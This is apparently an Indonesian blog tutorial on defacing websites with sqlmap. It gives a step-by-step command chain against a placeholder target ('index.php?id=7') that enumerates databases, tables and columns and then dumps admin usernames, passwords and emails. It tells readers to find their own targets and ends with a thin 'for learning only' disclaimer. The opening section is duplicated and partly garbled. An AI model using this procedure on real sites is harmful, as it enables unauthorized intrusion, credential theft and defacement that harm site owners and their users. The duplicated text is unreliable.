Deface website using SQLmap
SQLi?
ya! kenapa harus SQLi? menurut saya pribadi sih karena ini teknik Deface yang paling laku :v ga juga sih ,tapi menarik aja gitu! nah,disini kalian harus pake linux yaa! tapi di windows juga ada sih...
check it out!
sqlmap adalah tools opensource yang mendeteksi dan melakukan exploit pada bug SQL injection secara otomatis. dengan melakukan serangan SQL injection seorang attacker dapat mengambil alih serta memanipulasi sebuah database di dalam sebuah server.
biar lebih jelas saya akan menjelaskan sedikit tentang apa itu SQL injection dan database.
pertama download dulu sqlmap nya :
sqlmap.zip untuk file berekstensi .zip
sqlmap.tar.gz untuk file berekstensi tar.gz
setelah di download extract file sqlmap nya, saya sarankan di desktop saja agar lebih mudah untuk prosesnya, atau di direktori lain juga boleh tergantung dari selera kita masing-masing :-D . kemudian rename folder yang telah di extract menjadi "sqlmap" (tanpa tanda kutip).
nah sekarang kita tunggu beberapa saat dan biarkan sqlmap bekerja sampai sqlmap menemukan database dari target kita. setelah bebearap saat sqlmap telah berhasil menemukan nama database dari target kita. asiikk !!!
saya umpamakan sqlmap berhasil mendapatkan 2 nama database yaitu
sekarang kita ketikkan lagi perintah ini
sekian dulu tutorial dari saya, kalau ada kekurangan saya minta maaf karena saya ini hanyalah seorang newbie yang ingin berbagi sedikit ilmu.
ya! kenapa harus SQLi? menurut saya pribadi sih karena ini teknik Deface yang paling laku :v ga juga sih ,tapi menarik aja gitu! nah,disini kalian harus pake linux yaa! tapi di windows juga ada sih...
check it out!
sqlmap adalah tools opensource yang mendeteksi dan melakukan exploit pada bug SQL injection secara otomatis. dengan melakukan serangan SQL injection seorang attacker dapat mengambil alih serta memanipulasi sebuah database di dalam sebuah server.
biar lebih jelas saya akan menjelaskan sedikit tentang apa itu SQL injection dan database.
- SQL injection adalah teknik hacking di mana attacker dapat menyisipkan perintah-perintah SQL melalu URL untuk di eksekusi oleh database. bug atau vulnerability ini terjadi karena kelalian seorang programer atau webmaster dalam melakukan pemograman web seperti tidak difilternya variabel dalam web tersebut.
- Database adalah kumpulan informasi yang disimpan di dalam komputer atau webserver secara sistematik yang berguna untuk memperoleh informasi dari basis data tersebut.
pertama download dulu sqlmap nya :
sqlmap.zip untuk file berekstensi .zip
sqlmap.tar.gz untuk file berekstensi tar.gz
setelah di download extract file sqlmap nya, saya sarankan di desktop saja agar lebih mudah untuk prosesnya, atau di direktori lain juga boleh tergantung dari selera kita masing-masing :-D . kemudian rename folder yang telah di extract menjadi "sqlmap" (tanpa tanda kutip).
Baca Juga : Alasan Kenapa Website Pemerintah Mudah di Deface
tools ini adalah tools yang berbasis program python, jadi untuk
menjalankanya kita harus menginstall program python. kalau kamu pengguna
linux kamu tidak usah repot-repot untuk menginstall python karena di
linux sudah ada. tapi kalau kamu pengguna windows, kamu harus
menginstall program python terlebih dahulu.
download python :
Windows x86 MSI Installer (2.7.3) untuk windows x86/32 bit
Windows X86-64 MSI Installer (2.7.3) untuk windows 64 bit
Mac OS X 64-bit/32-bit x86-64/i386 Installer (2.7.3) untuk MAC OS X 10.6/10.7
www.python.org/ftp/python/2.7.3/python-2.7.3-macosx10.3.dmg untuk MAC OS 10.3 - 10.6
kalau sudah di download kita lanjut ke step berikutnya.
pertama buka dulu terminal (linux) atau CMD (windows) kemudia ketikkan
untuk linux :
user@linux:~$ cd /Desktop/sqlmap/untuk windows :
C:\Documents and Settings\user> cd /desktop/sqlmap/kemudian tekan enter.
screenshoot ini diambil dari terminal backtrack 5 r2
kita ke step selanjutnya, saya anggap kamu sudah mempunyai target kamu sendiri, kalau belum ada silahkan cari sendiri :-p .
disini saya umpamakan ada sebuah situs dengan domain name
"https://www.target.com" . dan mempunyai vulnerability pada tag
"index.php?id=7" dengan methode get. langsung saja kita kembali ke
terminal ata cmd tadi dan ketikkan lagi
linux :
user@linux:/Desktop/sqlmap# ./sqlmap.py -u https://www.target.com/index.php?id=7 --dbswindows :
C:\Documents and Settings\user\desktop\sqlmap>sqlmap.py -u https://www.target.com/index.php?id=7 --dbsperintah "-u" adalah "URL" target kita yang akan di eksekusi oleh sqlmap. perintah "--dbs" diatas adalah sqlmap akan berusaha mencari database dari web target kita tadi.
nah sekarang kita tunggu beberapa saat dan biarkan sqlmap bekerja sampai sqlmap menemukan database dari target kita. setelah bebearap saat sqlmap telah berhasil menemukan nama database dari target kita. asiikk !!!
saya umpamakan sqlmap berhasil mendapatkan 2 nama database yaitu
- information_schema
- my_db
sekarang kita ketikkan lagi perintah ini
./sqlmap.py -u https://www.target.com/index.php?id=7 -D my_db --tableskarena saya capek mengetikkan contoh untuk linux dan windows, jadi saya akan mengetikkan 1 contoh saja, bagi pengguna linux harus diawali dengan tanda "./" sebelum comand sedangkan di windows tidak di pakai alias langsung aja "sqlmap.py -u bla...bla...bla.."
Baca juga : Wikileaks merilis dokumen Malware dan Tehnik Hacking CIA
ok next step, setelah kita tunggu beberapa saat ternyata sqlmap
menemukan table yang ada di dalam database "my_db". saya umpamakan
table-table tersebut adalah sebagai berikut.
- admin
- members
- item
./sqlmap.py -u https://www.target.com/index.php?id=7 -D my_db -T admin --columnslalu enter dan tunggu beberapa saat, dan kita mendapati "column" dari "table" admin tadi. saya umpamakan nama columnya
- ID
- username
- password
- email_address
- country
./sqlmap.py -u https://www.target.com/index.php?id=7 -D my_db -T admin -C username,password,email_address --dumpdan hasilnya saya mendapati sebagai berikut :
ini artinya :
admin:123456:admin@target.com
- admin = username
- 123456 = password
- admin@target.com = email_address
sekian dulu tutorial dari saya, kalau ada kekurangan saya minta maaf karena saya ini hanyalah seorang newbie yang ingin berbagi sedikit ilmu.
n.b : segala sesuatu yang ada pada tulisan ini hanyalah semata-mata untuk pembelajaran, segala resiko karena penerapanya kembali kepada mental para pembaca dan penulis tidak bertanggung jawab atas apa yg terjadi.
